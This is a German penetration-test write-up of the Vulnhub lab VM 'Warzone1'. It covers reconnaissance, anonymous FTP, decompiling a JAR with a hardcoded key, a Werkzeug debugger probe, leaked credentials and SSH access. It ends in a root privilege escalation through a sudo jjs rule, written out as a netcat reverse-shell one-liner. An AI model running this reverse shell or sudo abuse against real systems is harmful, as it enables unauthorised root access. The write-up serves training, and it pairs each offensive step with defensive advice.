Warzone1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
vi
grep
ftp
ls
cd
mget
ll (alias für ls -l)
cat
Java Decompiler (extern)
dirb
curl
ssh
find
pkexec
sudo
jjs
echo
nc
id
whoami

Inhaltsverzeichnis

Reconnaissance

Analyse: Ein ARP-Scan wird ausgeführt, um Geräte im lokalen Netzwerk zu identifizieren.
Bewertung: Das Zielsystem wird unter der IP `192.168.2.159` gefunden. Die MAC-Adresse (`08:00:27:bc:d9:d8`) weist auf eine Oracle VirtualBox VM hin.
Empfehlung (Offensiv): IP-Adresse für weitere Scans verwenden.
Empfehlung (Defensiv): Standardmäßige Netzwerküberwachung.

 ARP-Scan
192.168.2.159	08:00:27:bc:d9:d8	PCS Systemtechnik GmbH
                    

Analyse: Die IP `192.168.2.159` wird dem Hostnamen `warzone1.vln` in der `/etc/hosts`-Datei des Angreifers zugeordnet.
Bewertung: Vereinfacht die Ansprache des Ziels.
Empfehlung (Offensiv): Sinnvolle Praxis zur Verbesserung der Lesbarkeit.

 /etc/hosts
 192.168.2.159   warzone1.vln
                     

Analyse: Ein Nmap-Scan (`-sS -sC -sV -A -p- -Pn --min-rate 5000`) wird durchgeführt und nach offenen Ports gefiltert.
Bewertung: Identifiziert drei offene Ports: 21 (FTP - vsftpd 3.0.3), 22 (SSH - OpenSSH 7.9p1), 5000 (HTTP - Werkzeug httpd 1.0.1 / Python 3.7.3).
Empfehlung (Offensiv): Alle drei Dienste untersuchen. Anonymer FTP-Zugriff und der Python-Webserver sind besonders interessant.
Empfehlung (Defensiv): Nicht benötigte Dienste schließen. Software aktuell halten.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
5000/tcp open  http    Werkzeug httpd 1.0.1 (Python 3.7.3)

Analyse: Die vollständige Nmap-Ausgabe wird angezeigt.
Bewertung: Bestätigt die Dienste: vsftpd 3.0.3 (anonymer Login erlaubt!), OpenSSH 7.9p1, Werkzeug httpd 1.0.1 (Python 3.7.3). Der anonyme FTP-Zugriff ist ein sofortiger Einstiegspunkt. Werkzeug ist ein WSGI Utility-Framework für Python, oft genutzt mit Flask oder Django; die Version 1.0.1 ist nicht die aktuellste.
Empfehlung (Offensiv): Unbedingt den anonymen FTP-Zugriff nutzen und den Inhalt untersuchen. Den Python-Webserver auf Port 5000 genauer analysieren (Framework? Schwachstellen? Debug-Modus?).
Empfehlung (Defensiv): Anonymen FTP-Zugriff deaktivieren, wenn nicht explizit benötigt und abgesichert. Webserver und zugrundeliegende Frameworks/Bibliotheken aktuell halten. Debug-Modus in Produktionsumgebungen deaktivieren.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-01 22:20 CET
Nmap scan report for warzone1.vln (192.168.2.159)
Host is up (0.00021s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION

21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_dr-xr-xr-x    2 ftp      ftp          4096 Oct 22  2020 pub
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.2.199
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 43:30:8c:57:bc:49:68:49:9c:9a:53:e7:a9:b7:83:9f (RSA)
|   256 c9:8d:46:c8:ef:33:d2:62:21:3a:bf:95:cb:fb:44:a3 (ECDSA)
|_  256 9b:86:ff:5c:6c:61:50:d0:36:59:b0:7a:bf:77:b2:a6 (ED25519)
5000/tcp open  http    Werkzeug httpd 1.0.1 (Python 3.7.3)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
MAC Address: 08:00:27:BC:D9:D8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.21 ms warzone1.vln (192.168.2.159)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.85 seconds

Vulnerability Assessment

Analyse: Ein Nmap-Schwachstellen-Scan (`--script vuln`) wird ausgeführt.
Bewertung:

Empfehlung (Offensiv): Der anonyme FTP ist weiterhin der einfachste Einstieg. Die Python/Werkzeug-CVEs sind interessant, aber Exploits sind möglicherweise komplex. Die SSH-CVEs sind weniger wahrscheinlich direkt ausnutzbar ohne weitere Informationen.
Empfehlung (Defensiv): Alle Komponenten (vsftpd, OpenSSH, Python, Werkzeug) dringend aktualisieren. Slowloris-Schutzmaßnahmen auf dem Webserver implementieren (z.B. `mod_reqtimeout` in Apache, entsprechende Direktiven in Nginx/Werkzeug).

┌──(root㉿CCat)-[~]
└─# nmap -sV -A --script vuln $IP -T5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-01 22:21 CET
Pre-scan script results:
[...]
Nmap scan report for warzone1.vln (192.168.2.159)
Host is up (0.00012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| vulners:
|   cpe:/a:openbsd:openssh:7.9p1:
|           CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408
[...]
|           CVE-2020-15778  7.8     https://vulners.com/cve/CVE-2020-15778
|           CVE-2019-16905  7.8     https://vulners.com/cve/CVE-2019-16905
[...]
5000/tcp open  http    Werkzeug httpd 1.0.1 (Python 3.7.3)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| vulners:
|   cpe:/a:python:python:3.7.3:
|           CVE-2022-48565  9.8     https://vulners.com/cve/CVE-2022-48565
|           CVE-2022-37454  9.8     https://vulners.com/cve/CVE-2022-37454
[...]
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
[...]
|_http-server-header: Werkzeug/1.0.1 Python/3.7.3
[...]
Nmap done: 1 IP address (1 host up) scanned in 556.37 seconds

FTP Enumeration & Credential Discovery

Analyse: Eine FTP-Verbindung wird als anonymer Benutzer aufgebaut.
Bewertung: Der Login ist erfolgreich ("230 Login successful."). Im Wurzelverzeichnis befindet sich ein Verzeichnis `pub`. Innerhalb von `pub` liegen die Dateien `note.txt` und `warzone-encrypt.jar`. Beide Dateien werden heruntergeladen.
Empfehlung (Offensiv): Den Inhalt von `note.txt` lesen. Die `warzone-encrypt.jar`-Datei analysieren (dekompilieren).
Empfehlung (Defensiv): Anonymen FTP-Zugriff deaktivieren oder stark einschränken (z.B. nur Leserechte, dediziertes Verzeichnis). Keine potenziell sensiblen oder ausführbaren Dateien in anonym zugänglichen Bereichen ablegen.

┌──(root㉿CCat)-[~]
└─# ftp 192.168.2.159
Connected to 192.168.2.159.
220 (vsFTPd 3.0.3)
Name (192.168.2.159:ccat): anonymous 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||18460|)
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 Oct 22  2020 .
drwxr-xr-x    3 ftp      ftp          4096 Oct 22  2020 ..
dr-xr-xr-x    2 ftp      ftp          4096 Oct 22  2020 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||20271|)
150 Here comes the directory listing.
dr-xr-xr-x    2 ftp      ftp          4096 Oct 22  2020 .
drwxr-xr-x    3 ftp      ftp          4096 Oct 22  2020 ..
-r--r--r--    1 ftp      ftp            77 Oct 22  2020 note.txt
-r--r--r--    1 ftp      ftp          5155 Oct 22  2020 warzone-encrypt.jar
226 Directory send OK.
ftp> mget *
mget note.txt? y
229 Entering Extended Passive Mode (|||51026|)
150 Opening BINARY mode data connection for note.txt (77 bytes).
226 Transfer complete.
77 bytes received in 00:00 (0.07 KiB/s)
mget warzone-encrypt.jar? y
229 Entering Extended Passive Mode (|||10346|)
150 Opening BINARY mode data connection for warzone-encrypt.jar (5155 bytes).
226 Transfer complete.
5155 bytes received in 00:00 (5.05 KiB/s)

Analyse: Der Inhalt der heruntergeladenen `note.txt` wird angezeigt.
Bewertung: Der Hinweis "Attention, please encrypt always your password using the warzone-encrypt.jar" weist klar darauf hin, dass die `.jar`-Datei zur Passwortverschlüsselung (oder -erzeugung?) dient und analysiert werden muss.
Empfehlung (Offensiv): Die `warzone-encrypt.jar` dekompilieren.

┌──(root㉿CCat)-[~]
└─# cat note.txt
Attention, please encrypt always your password using the warzone-encrypt.jar

Analyse: Die `warzone-encrypt.jar` wird mit einem Online-Java-Decompiler analysiert. Der relevante Code aus den Klassen `I1.java`, `K1.java` und `Obfuscated.java` (Name im Text falsch geschrieben) wird gezeigt.
Bewertung: Die Dekompilierung enthüllt hartkodierte Strings in den Klassen:

Diese Strings sind höchstwahrscheinlich der Initialisierungsvektor (IV) und der Schlüssel für eine AES-Verschlüsselung, wie der Dateiname `crypto/AES.java` nahelegt. Der String `w4rz0n3s3cur31vv` könnte als PIN oder Passwort für Werkzeug relevant sein.
Empfehlung (Offensiv): Die gefundenen Strings `w4rz0n3s3cur31vv` und `w4rz0n3s3cur3k3y` notieren. Insbesondere `w4rz0n3s3cur31vv` als möglichen PIN/Passwort für den Werkzeug-Debugger auf Port 5000 testen.
Empfehlung (Defensiv): Niemals Schlüssel, IVs oder andere kryptografische Konstanten hartkodiert in Anwendungen speichern. Sicherere Methoden zur Schlüsselverwaltung verwenden. Quellcode-Obfuskation bietet keine echte Sicherheit.

https://www.decompiler.com/jar/5c36dcf3234541cfb8ac254b7705c07d/warzone-encrypt.jar

warzone-encrypt.jar Files:
    crypto/AES.java
    encrypt/Main.java
    META-INF/MANIFEST.MF
    ther/I1.java  <-- Relevant
    ther/K1.java  <-- Relevant
    ther/Obfuscated.java <-- Relevant

// ther/I1.java
package ther;
public class I1 {
   protected static final String part = "s3cur31vv"; // IV Part
   public String getPart1() { return "w4rz0n3"; }
}

// ther/K1.java
package ther;
public class K1 {
   protected static final String part = "s3cur3k3y"; // Key Part
   public String getPart1() { return "w4rz0n3"; }
}

// ther/Obfuscated.java
package ther;
public class Obfuscated { // Name korrigiert
   public String getIV() { return "w4rz0n3" + I1.part; } // -> w4rz0n3s3cur31vv
   public String getKey() { return "w4rz0n3" + K1.part; } // -> w4rz0n3s3cur3k3y
}

Web Enumeration (Port 5000 - Werkzeug Debugger)

Analyse: Die Webseite auf Port 5000 wird aufgerufen. Sie zeigt "Danger!!, IWTAAZNSRE" und einen Base64-ähnlichen String im Kommentar: ``.
Bewertung: Der Text "IWTAAZNSRE" und der Kommentarstring sind wahrscheinlich Chiffren oder Hinweise. Der Hinweis auf Python 3.7.3 aus Nmap ist ebenfalls relevant.
Empfehlung (Offensiv): Versuchen, die Chiffren zu entschlüsseln (z.B. Caesar, Vigenere). Nach bekannten Schwachstellen im Werkzeug-Debugger suchen.

http://192.168.2.159:5000

 Danger!!, IWTAAZNSRE
 

Analyse: `dirb` wird gegen Port 5000 ausgeführt.
Bewertung: Findet den Pfad `/console`. Dies ist der Standardpfad für den interaktiven Debugger von Werkzeug.
Empfehlung (Offensiv): `/console` im Browser aufrufen. Der Debugger ist oft PIN-geschützt, aber wenn er zugänglich ist, ermöglicht er Remote Code Execution.
Empfehlung (Defensiv): Den Werkzeug-Debugger in Produktionsumgebungen unbedingt deaktivieren. Wenn er benötigt wird, den Zugriff stark einschränken und die PIN sicher konfigurieren.

┌──(root㉿CCat)-[~]
└─# dirb http://192.168.2.159:5000/
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: [...]
URL_BASE: http://192.168.2.159:5000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.2.159:5000/ ----
+ http://192.168.2.159:5000/console (CODE:200|SIZE:1985) ==> DIRECTORY?

-----------------
END_TIME: [...]
DOWNLOADED: XXXX - FOUND: 1

Analyse: Eine Burp Suite HTTP-Anfrage an `/console` wird gezeigt. Sie enthält Parameter wie `__debugger__=yes`, `cmd=pinauth`, `pin=s3cur31vv` und `s=BIlQm36IvdpucQwIsLcc`. Es wird auch versucht, einen Befehl (`{{4*4}}`) einzuschleusen.
Bewertung: Dies ist ein Versuch, die PIN-Authentifizierung des Werkzeug-Debuggers zu umgehen oder zu erraten. Die PIN `s3cur31vv` wurde aus der Java-Dekompilierung abgeleitet. Der `s`-Parameter (`BIlQm36IvdpucQwIsLcc`) ist das `SECRET`, das im Quellcode der `/console`-Seite gefunden wurde (dieser Schritt fehlt im Bericht, wird aber impliziert). Die Server-Antwort ist `{"auth": false, "exhausted": false}`. Die PIN-Authentifizierung schlug fehl. Der Versuch, Code (`{{4*4}}`) einzuschleusen, ist hier irrelevant, da die PIN falsch war.
Empfehlung (Offensiv): Die Methode zur PIN-Generierung von Werkzeug recherchieren. Die PIN basiert oft auf system-spezifischen Informationen (MAC-Adresse, Machine-ID, Pfad zu einer Python-Datei). Diese Informationen müssen ermittelt werden (z.B. über LFI, falls vorhanden, oder andere Schwachstellen), um die korrekte PIN zu berechnen. Der direkte Brute-Force der PIN ist oft nicht praktikabel.
Empfehlung (Defensiv): Werkzeug-Debugger deaktivieren.

GET /console?__debugger__=yes&cmd=pinauth&pin=s3cur31vv&s=BIlQm36IvdpucQwIsLcc&cmd={{4*4}} HTTP/1.1
Host: 192.168.2.159:5000
[...]

HTTP/1.0 200 OK
Content-Type: application/json
[...]
{"auth": false, "exhausted": false}
// Auszug aus http://192.168.2.159:5000/console
var TRACEBACK = -1,
    CONSOLE_MODE = true, // CNSLE_MDE im Burp Request war Tippfehler
    EVALEX = true,
    EVALEX_TRUSTED = false,
    SECRET = "BIlQm36IvdpucQwIsLcc";
┌──(root㉿CCat)-[~]
└─# curl 'http://192.168.2.159:5000/console?__debugger__=yes&cmd=pinauth&pin=s3cur31vv&s=BIlQm36IvdpucQwIsLcc'
{"auth": false, "exhausted": false}

Credential Leak Exploitation

Analyse: Der Text springt zu einem SSH-Login-Versuch als `captain` (Herkunft unklar) und zeigt dann den Inhalt einer (vermutlich über einen anderen Weg gefundenen) Seite `/get/auth/credentials`.
Bewertung: Die Seite `/get/auth/credentials` (wahrscheinlich auf Port 5000 oder einem anderen Webserver) enthält eine Liste von Benutzernamen und Base64-kodierten "Passwörtern". Dies ist ein massives Credential-Leak. Der Hinweis `_us3rz0ne_F1RE` am Ende ist unklar.
Empfehlung (Offensiv): Die Base64-Strings dekodieren. Es ist wahrscheinlich, dass dies keine echten Passwörter sind, sondern verschlüsselte oder gehashte Werte. Da AES-Schlüssel (`w4rz0n3s3cur3k3y`, `w4rz0n3s3cur31vv`) aus der `.jar`-Datei bekannt sind, versuchen, die dekodierten Werte mit diesen Schlüsseln zu entschlüsseln (z.B. mit CyberChef). Das Passwort für `captain` finden.
Empfehlung (Defensiv): Niemals Credentials (auch nicht verschlüsselt/kodiert) auf einer Webseite offenlegen! Sichere Authentifizierung und Speicherung von Zugangsdaten implementieren.

┌──(root㉿CCat)-[~]
└─# ssh captain@192.168.2.159
[...]
captain@192.168.2.159's password:
Permission denied, please try again.
[...]
captain@192.168.2.159: Permission denied (publickey,password).
http://192.168.2.159:5000//get/auth/credentials

Confidential
username 	password
paratrooper 	GJSFBy6jihz/GbfaeiXwtqgHe1QutGVVFlyDXbxVRo=
specops 	mnKbQSV2k9UzJeTnJhoAyy4TqEryPw6ouANzIZMXF6Y=
specforce 	jiYMm39vW9pTr+6Z/6SafQ== 
aquaman 	v9yjWjP7tKHLyt6ZCw5sxtktXIYm5ynlHmx+ZCI4T4=
commander 	2czKTfl/n519Kw5Ze7mVy4BsdzdzCbpRY8+BQxqnsYg=
commando 	+uj9HGdnyJvkBagdB1i26M9QzsxKHUI0EFMhhfaqt2A=
pathfinder 	eTQiiMXzrM4MkSItWUegd1rZ/pIU0JyWlLNw2oW6oo=
ranger 	        LBN5Syc7D7Bdj7utCbmBiT7pXU+bISYj33Qzf4CmIDs=
captain         _us3rz0ne_F1RE 

Initial Access (SSH)

Analyse: Es wird sich erneut per SSH als Benutzer `captain` angemeldet. Diesmal ist der Login erfolgreich.
Bewertung: Dies impliziert, dass das Passwort für `captain` gefunden wurde. Da der vorherige Schritt `_us3rz0ne_F1RE` als "Passwort" für `captain` listete, wird angenommen, dass dies das korrekte Klartextpasswort ist (im Gegensatz zu den Base64-Strings der anderen User).
Ergebnis: Erfolgreicher Initial Access als Benutzer `captain`.
Empfehlung (Offensiv): Das System als `captain` enumerieren (`sudo -l`, SUID etc.).
Empfehlung (Defensiv): Keine Klartextpasswörter in öffentlichen Listen speichern. Starke, einzigartige Passwörter verwenden.

┌──(root㉿CCat)-[~]
└─# ssh captain@192.168.2.159
+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+
   WARZONE    WARZONE    WARZONE    WARZONE    WARZONE    WARZONE
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                 {Unauthorized access is prohibited}
captain@192.168.2.159's password: _us3rz0ne_F1RE 
Linux warzone 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+
   WARZONE    WARZONE    WARZONE    WARZONE    WARZONE    WARZONE
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                 {Unauthorized access is prohibited}
Last login: Thu Oct 22 07:49:10 2020 from 10.0.2.13
captain@warzone$

Privilege Escalation (Enumeration)

Analyse: Das Home-Verzeichnis `/home` wird aufgelistet, das Verzeichnis `/home/commando` untersucht und SUID-Dateien gesucht.
Bewertung: Bestätigt die Benutzer `captain` und `commando`. Das Home-Verzeichnis von `commando` enthält Standarddateien. Die SUID-Suche findet `pkexec` und `sudo` sowie Standard-Binaries. `pkexec` könnte wieder ein Vektor sein (PwnKit), aber der Bericht fokussiert sich nicht darauf.
Empfehlung (Offensiv): `sudo -l` für `captain` prüfen.

captain@warzone$ ls ..
captain  commando  lost+found
captain@warzone$ cd ../commando/
captain@warzone:/home/commando$ ls -la
[...] (Standard .bashrc, .profile etc.)
captain@warzone:/home/commando$ find / -type f -perm -4000 -ls 2>/dev/null
   944007    380 -rwsr-xr--   1 root     dip        386792 Feb 20  2020 /usr/sbin/pppd
   915754     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   924642    152 -rwsr-xr-x   1 root     root       154352 Mar 21  2019 /usr/bin/ntfs-3g
   919583     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
   915758     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   944364    156 -rwsr-xr-x   1 root     root       157192 Feb  2  2020 /usr/bin/sudo
   919110     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   928805     56 -rwsr-xr-x   1 root     root        55400 Mar  6  2019 /usr/bin/bwrap
   919585     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
   915757     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   919257     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
   915755     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   924632     36 -rwsr-xr-x   1 root     root        34896 Apr 22  2020 /usr/bin/fusermount
   924516     24 -rwsr-xr-x   1 root     root        23288 Jan 15  2019 /usr/bin/pkexec <-- pkexec vorhanden
[...]

Analyse: Versuche, `pkexec` oder `sudo pkexec` auszuführen, scheitern.
Bewertung: `pkexec` allein fordert das Passwort und scheitert, da `captain` nicht autorisiert ist oder das Passwort falsch ist. `sudo pkexec` scheitert, da `captain` keine `sudo`-Rechte für `pkexec` hat.
Empfehlung (Offensiv): `sudo -l` ausführen, um die tatsächlichen `sudo`-Rechte zu sehen.

captain@warzone:/home/commando$ /usr/bin/pkexec /bin/bash
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/bin/bash' as the super user
Authenticating as: captain (captain)
Password:  
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

This incident has been reported.
captain@warzone:/home/commando$ sudo /usr/bin/pkexec /bin/bash
[sudo] password for captain: _us3rz0ne_F1RE 
Sorry, user captain is not allowed to execute '/usr/bin/pkexec /bin/bash' as root on warzone.speedport.ip.

Privilege Escalation (Sudo jjs)

Analyse: `sudo -l` wird als `captain` ausgeführt.
Bewertung: Zeigt, dass `captain` den Befehl `/usr/bin/jjs` als `ALL` (root) ohne Passwort (`NPASSWD`) ausführen darf. `jjs` ist die Nashorn JavaScript-Engine von Java. Dies ist ein klarer PE-Vektor.
Empfehlung (Offensiv): GTFOBins oder andere Ressourcen nach `jjs` durchsuchen, um herauszufinden, wie man damit eine Shell spawnt.
Empfehlung (Defensiv): Niemals Skript-Interpretern wie `jjs`, `python`, `perl` etc. uneingeschränkte `sudo`-Rechte geben.

captain@warzone:/home/commando$ sudo -l
Matching Defaults entries for captain on warzone:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User captain may run the following commands on warzone:
    (ALL) NPASSWD: /usr/bin/jjs

Analyse: Die GTFOBins-Methode für `jjs` wird angewendet. Mittels `echo` wird Java/JavaScript-Code, der `java.lang.Runtime.getRuntime().exec()` verwendet, um eine Netcat-Reverse-Shell zu starten, an `sudo jjs` übergeben.
Bewertung: Der `jjs`-Interpreter führt den übergebenen Code aus. Da `jjs` mit `sudo NOPASSWD` läuft, wird der `nc -e /bin/bash ...`-Befehl als Root ausgeführt und stellt eine Verbindung zum Listener des Angreifers her.
Empfehlung (Offensiv): Den Listener starten und auf die eingehende Root-Shell warten.
Empfehlung (Defensiv): Die unsichere `sudo`-Regel für `jjs` entfernen.

captain@warzone:/home/commando$ ls -la /usr/bin/jjs
lrwxrwxrwx 1 root root 21 Oct 22  2020 /usr/bin/jjs -> /etc/alternatives/jjs
captain@warzone:/home/commando$ echo "Java.type('java.lang.Runtime').getRuntime().exec('/usr/bin/nc -e /bin/bash 192.168.2.199 8000')"|sudo jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Process[pid=31447, exitValue="not exited"]
jjs>
captain@warzone:/home/commando$ id
uid=1000(captain) gid=1000(captain) groups=1000(captain),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),117(lpadmin),118(scanner)

Analyse: Ein Netcat-Listener wird auf Port 8000 gestartet. Eine Verbindung vom Zielsystem geht ein.
Bewertung: Die Reverse Shell ist erfolgreich! Der `id`-Befehl in der neuen Shell bestätigt `uid=0(root)`.
Ergebnis: Finale Privilegieneskalation zu Root erfolgreich durch Ausnutzung der `sudo jjs`-Regel.
Empfehlung (Offensiv): Root-Rechte nutzen, um Flags zu finden.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 8000
listening on [any] 8000 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.159] 58764
id
uid=0(root) gid=0(root) groups=0(root)

Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.

Proof of Concept (Credential Discovery via Java Decompiling)

Schwachstelle: Hartkodierte kryptografische Schlüssel/Teile davon (IV, Key) in einer Java-Anwendung (`warzone-encrypt.jar`), die über anonymen FTP zugänglich ist.
Ziel des POC: Nachweis, dass durch Herunterladen und Dekompilieren der JAR-Datei sensible kryptografische Konstanten extrahiert werden können, die für weitere Angriffe (hier: potenzieller PIN für Werkzeug-Debugger) relevant sind.
Voraussetzungen: Anonymer FTP-Zugriff. Ein Java-Decompiler.

Schritt 1: Auffinden und Herunterladen der JAR-Datei

Analyse: Über anonymen FTP-Zugriff wurde im Verzeichnis `/pub` die Datei `warzone-encrypt.jar` gefunden und zusammen mit `note.txt` heruntergeladen. Die Notiz verwies explizit auf die JAR-Datei.

Schritt 2: Dekompilieren und Extrahieren der Konstanten

Analyse: Die JAR-Datei wurde mit einem Decompiler untersucht.
Bewertung: Die Klassen `ther.I1`, `ther.K1` und `ther.Obfuscated` enthielten hartkodierte Strings, die zu einem IV (`w4rz0n3s3cur31vv`) und einem Key (`w4rz0n3s3cur3k3y`) zusammengesetzt wurden.
Ergebnis des POC: Sensible kryptografische Konstanten wurden erfolgreich aus dem dekompilierten Java-Code extrahiert.
Risikobewertung: Hoch. Das Offenlegen von Schlüsseln kompromittiert die darauf basierende Kryptographie und kann, wie hier vermutet, auch für andere Authentifizierungsmechanismen relevant sein.
Empfehlung (Defensiv): Niemals Schlüssel oder IVs hartkodieren. Sichere Schlüsselverwaltungspraktiken anwenden (z.B. Speicherung in geschützten Keystores, Umgebungsvariablen, Konfigurationsdateien mit restriktiven Rechten). Code-Obfuskation bietet keinen Schutz gegen Decompiling.

Proof of Concept (Werkzeug Debugger - Info Leak / Console Access)

Schwachstelle: Aktiver Werkzeug Debugger auf Port 5000, zugänglich über `/console`. Der Debugger ist PIN-geschützt, aber der `SECRET`-Wert, der zur PIN-Generierung beiträgt, ist im Quellcode der `/console`-Seite sichtbar.
Ziel des POC: Nachweis, dass der Debugger aktiv ist und sensible Informationen (wie das `SECRET`) preisgibt. Obwohl der PIN-Bypass hier nicht gelang, zeigt der POC die potenzielle Gefahr.
Voraussetzungen: Zugriff auf Port 5000. Kenntnis des `/console`-Pfades (gefunden durch `dirb`).

Schritt 1: Identifizierung des Debugger-Endpunkts

Analyse: `dirb` identifizierte den Pfad `/console` auf Port 5000.

Schritt 2: Analyse der Console-Seite

Analyse: Der Aufruf von `/console` zeigt die Debugger-Oberfläche. Im Quellcode der Seite ist der Wert der JavaScript-Variable `SECRET` (`BIlQm36IvdpucQwIsLcc`) sichtbar.
Bewertung: Das Offenlegen des `SECRET` ist eine kritische Informationspreisgabe, da es zusammen mit anderen systemspezifischen Informationen (MAC, Machine-ID etc.) zur Berechnung der korrekten Debugger-PIN verwendet werden kann.

Schritt 3: Versuchter PIN-Auth Bypass (Fehlgeschlagen)

Analyse: Es wurde versucht, sich mit dem aus der Java-JAR extrahierten IV (`s3cur31vv`) als PIN und dem gefundenen `SECRET` zu authentifizieren.
Bewertung: Der Versuch schlug fehl (`"auth": false`), da der IV nicht die korrekte PIN war. Um die korrekte PIN zu berechnen, wären weitere Informationen vom Zielsystem nötig gewesen.
Ergebnis des POC: Der Werkzeug-Debugger ist aktiv und legt das `SECRET` offen, was eine erhebliche Schwachstelle darstellt, auch wenn die PIN hier nicht direkt geknackt wurde.
Risikobewertung: Kritisch (wenn die PIN berechnet werden kann, führt dies zu RCE). Hoch (durch Informationspreisgabe des Secrets).
Empfehlung (Defensiv): Werkzeug-Debugger in Produktionsumgebungen immer deaktivieren. Niemals sensible Informationen im Client-seitigen Code offenlegen. Wenn Debugging nötig ist, den Zugriff auf vertrauenswürdige IPs beschränken und eine starke, nicht erratbare PIN sicher konfigurieren.

Proof of Concept (Sudo jjs Abuse)

Schwachstelle: Unsichere `sudoers`-Konfiguration, die dem Benutzer `captain` erlaubt, `/usr/bin/jjs` ohne Passwort als Root auszuführen (`(ALL) NPASSWD: /usr/bin/jjs`).
Ziel des POC: Nachweis, dass durch Übergabe von speziell präpariertem JavaScript-Code an `sudo jjs` beliebige Systembefehle als Root ausgeführt werden können, was zur Privilegieneskalation führt.
Voraussetzungen: Zugriff als Benutzer `captain`. Die fehlerhafte `sudoers`-Regel.

Schritt 1: Identifizierung der Sudo-Regel

Analyse: Der Befehl `sudo -l` als `captain` zeigt die Regel `(ALL) NPASSWD: /usr/bin/jjs`.

Schritt 2: Ausnutzung mit Java Runtime Execution

Analyse: Ein Einzeiler-JavaScript-Code wird mittels `echo` an `sudo jjs` übergeben: `echo "Java.type('java.lang.Runtime').getRuntime().exec('/usr/bin/nc -e /bin/bash 192.168.2.199 8000')"|sudo jjs`.
Bewertung: `jjs` führt den JavaScript-Code aus. `Java.type('java.lang.Runtime').getRuntime().exec(...)` ist die Nashorn-Syntax, um Java-Methoden aufzurufen. Hiermit wird die `exec`-Methode der `Runtime`-Klasse aufgerufen, um einen externen Systembefehl auszuführen. Da `jjs` mit `sudo NOPASSWD` als Root läuft, wird der `nc`-Befehl (Netcat Reverse Shell) ebenfalls als Root ausgeführt.
Ergebnis des POC: Die Ausführung des Befehls führte erfolgreich zu einer eingehenden Reverse Shell mit Root-Rechten auf dem Listener des Angreifers.
